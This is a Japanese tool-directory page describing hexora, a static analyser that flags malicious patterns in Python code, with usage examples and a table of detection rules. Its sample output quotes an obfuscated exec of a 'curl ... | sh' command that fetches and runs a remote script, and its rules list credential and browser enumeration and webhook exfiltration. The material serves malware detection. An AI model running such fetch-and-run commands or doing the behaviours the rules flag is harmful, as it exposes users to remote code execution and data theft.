Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hexora — 悪意のあるPythonコードの静的解析 | Kitploit
ツール/GitHubGitHub/rushter/hexora
侵害指標 (IOC) 管理静的分析脆弱性分析コード分析マルウェア分析サプライチェーンセキュリティ機械学習
GitHubrushter/hexora

hexora

悪意のあるPythonコードの静的解析

リポジトリを見る
168814日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

hexora

PyPI - Version

Hexora は、Python コード内の悪意のあるパターンや有害なパターンを検出するために設計された静的解析ツールです。ルールベースの静的解析エンジンと、ソースファイル全体をスコアリングして悪意のあるものか良性かを分類する機械学習モデルを組み合わせています。

以下の用途に使用できます。

  • プロジェクトの依存関係を監査し、潜在的なサプライチェーン攻撃を検出する
  • Pastebin、GitHub、オープンディレクトリなどのプラットフォームで見つかった悪意のあるスクリプトを検出する
  • 過去のセキュリティインシデントからの IoC ファイルを分析する
  • PyPi にアップロードされた新しいパッケージを監査する
Hexora の例

使用例

出力例については、docs/examples.md ファイルを参照してください。

インストール

Python を使用

Python 3.9 以降が必要です。

root@kitploit:~
pip install hexora

uv を使用:

root@kitploit:~
uv tool install hexora

使い方

root@kitploit:~
hexora --help

単一ファイルの監査

root@kitploit:~
>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

ディレクトリの監査

root@kitploit:~
hexora audit --output-format terminal resources/test/

仮想環境からのパッケージ監査

root@kitploit:~
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

python3.11 は仮想環境内の Python のバージョンです。

ヒント:

  • --exclude を使用して、特定の実行においてノイズの多いインポートなどの特定のルールコードを抑制できます
  • --min-confidence を使用して、確信度の高い発見にのみ焦点を当てます。

確信度は、特定のコードが悪意を持っている度合いを示します。一部のライブラリやコードスニペットは正当な目的で使用されており、正当なユースケースと悪意のあるものとを区別するのは困難です。そのため、一部のマッチは低い確信度レベルになります。

一部のルールは異なる確信度レベルを持つことができます。確信がない限り、コードで多くのルールをフィルタリングしないでください。たとえば、コード実行やシェル実行には、中程度、高、非常に高い確信度があります。これはコードがどのように実行されたかに依存します。難読化の試みを検出した場合、確信度を引き上げます。

たとえば、次のコードは高い確信度を持ちます:

root@kitploit:~
globals()["__builtins__"].eval("print(123)")

Python での使用

root@kitploit:~
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

悪意のあるデータセットに対するテスト

新しいルールを開発する際には、malicious-software-packages-dataset などの既存の悪意のあるデータセットを使用できます。

クローン後、ベンチマークツールをデータセットディレクトリに指定します:

root@kitploit:~
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

利用可能なルール

新しいルールは定期的に追加されています。

現在、以下のルールが利用可能です:

クレジット

構文解析には、ruff ライブラリの AST パーサーを使用しています。

ツールをダウンロード
CodeNameDescription
HX1000AppEnumeration疑わしいアプリケーションの列挙。
HX1010BrowserEnumeration疑わしいブラウザの列挙(アプリ、クッキー、履歴など)。
HX1020PathEnumeration疑わしいパスの列挙。
HX1030OSFingerprint疑わしい OS フィンガープリンティング。
HX2000ClipboardReadクリップボードからの読み取り。
HX2010EnvAccess機密性の高い環境変数へのアクセス。
HX2020ScreenshotCaptureディスプレイからのスクリーンショットのキャプチャ。
HX3000CodeExec可能性のあるコード実行。
HX3010ShellExecシェルコマンドの実行。
HX3040DLLInjection可能性のある DLL インジェクション。
HX3050DangerousExecシェルコマンド内での危険な可能性のあるコマンドの実行。
HX3060SuspiciousCall疑わしい関数呼び出し。
HX4000ObfuscatedShellExec難読化された可能性のあるシェルコマンドの実行。
HX4010ObfuscatedCodeExec難読化された可能性のあるコードの実行。
HX5000DunderImport疑わしい __import__ の使用。
HX5010SuspiciousImport疑わしいインポート。
HX5020CtypesImport疑わしい ctypes インポート。
HX5030PickleImport疑わしい pickle インポート。
HX5040StructImport疑わしい struct インポート。
HX5050SocketImport疑わしい socket インポート。
HX5060MarshalImport疑わしい marshal インポート。
HX6000Base64String長い Base64 エンコードされた文字列を検出しました。コード難読化の可能性があります。
HX6010HexedLiterals16進エンコードされたリテラルのリストを検出しました。ペイロードの可能性があります。
HX6020HexedString長い16進エンコードされた文字列を検出しました。ペイロードの可能性があります。
HX6030IntLiterals多数の整数リテラルを検出しました。コード難読化の可能性があります。
HX6040CVEInLiteralリテラルに CVE 識別子が含まれています。
HX6050SuspiciousLiteral疑わしいリテラルを検出しました。データ列挙の可能性があります。
HX6060PathTraversal疑わしいパストラバーサル。
HX6070BrowserExtension機密性の高いブラウザ拡張機能の列挙。
HX6080WebHook疑わしい Webhook を検出しました。データ流出の可能性があります。
HX6090TelegramToken文字列リテラルに Telegram ボットトークンを検出しました。
HX7000SuspiciousFunctionName疑わしい関数名。
HX7010SuspiciousParameterName疑わしいパラメータ名。
HX7020SuspiciousVariable疑わしい変数名。
HX9000DataExfiltrationデータ流出の可能性。
HX8000BinaryDownload疑わしいバイナリダウンロード。
HX8010BuiltinsVariable疑わしい組み込み変数の使用。
HX8020SuspiciousComment疑わしいコメント。
HX8030SuspiciousWriteファイルシステムへの疑わしい書き込み。
HX8040InstallHook疑わしいインストールフックの設定。